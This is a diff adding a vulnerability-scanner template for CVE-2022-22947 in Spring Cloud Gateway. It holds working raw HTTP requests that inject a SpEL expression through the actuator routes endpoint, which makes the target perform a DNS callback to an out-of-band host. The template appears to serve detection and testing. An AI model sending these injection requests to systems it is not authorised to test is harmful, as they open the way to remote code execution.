diff --git a/cves/2022/CVE-2022-22947.yaml b/cves/2022/CVE-2022-22947.yaml
new file mode 100644
index 0000000000..58c5abcf4a
--- /dev/null
+++ b/cves/2022/CVE-2022-22947.yaml
@@ -0,0 +1,77 @@
+id: CVE-2022-22947
+
+info:
+  name: Spring Cloud Gateway Code Injection
+  author: pdteam
+  severity: critical
+  description: Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
+  reference:
+    - https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
+    - https://github.com/wdahlenburg/spring-gateway-demo
+    - https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
+    - https://tanzu.vmware.com/security/cve-2022-22947
+  tags: cve,cve2022,apache,spring,vmware,actuator,oast
+
+requests:
+  - raw:
+      - |
+        POST /actuator/gateway/routes/{{randstr}} HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {
+          "predicates": [
+            {
+              "name": "Path",
+              "args": {
+                "_genkey_0": "/{{randstr}}/**"
+              }
+            }
+          ],
+          "filters": [
+            {
+              "name": "RewritePath",
+              "args": {
+                "_genkey_0": "#{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")}",
+                "_genkey_1": "/${path}"
+              }
+            }
+          ],
+          "uri": "{{RootURL}}",
+          "order": 0
+        }
+
+      - |
+        POST /actuator/gateway/refresh HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {
+          "predicate": "Paths: [/{{randstr}}], match trailing slash: true",
+          "route_id": "{{randstr}}",
+          "filters": [
+            "[[RewritePath #{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")} = /${path}], order = 1]"
+          ],
+          "uri": "{{RootURL}}",
+          "order": 0
+        }
+
+      - |
+        DELETE /actuator/gateway/routes/{{randstr}} HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 201
+
+      - type: word
+        part: header
+        words:
+          - "/routes/{{randstr}}"
+
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"
\ No newline at end of file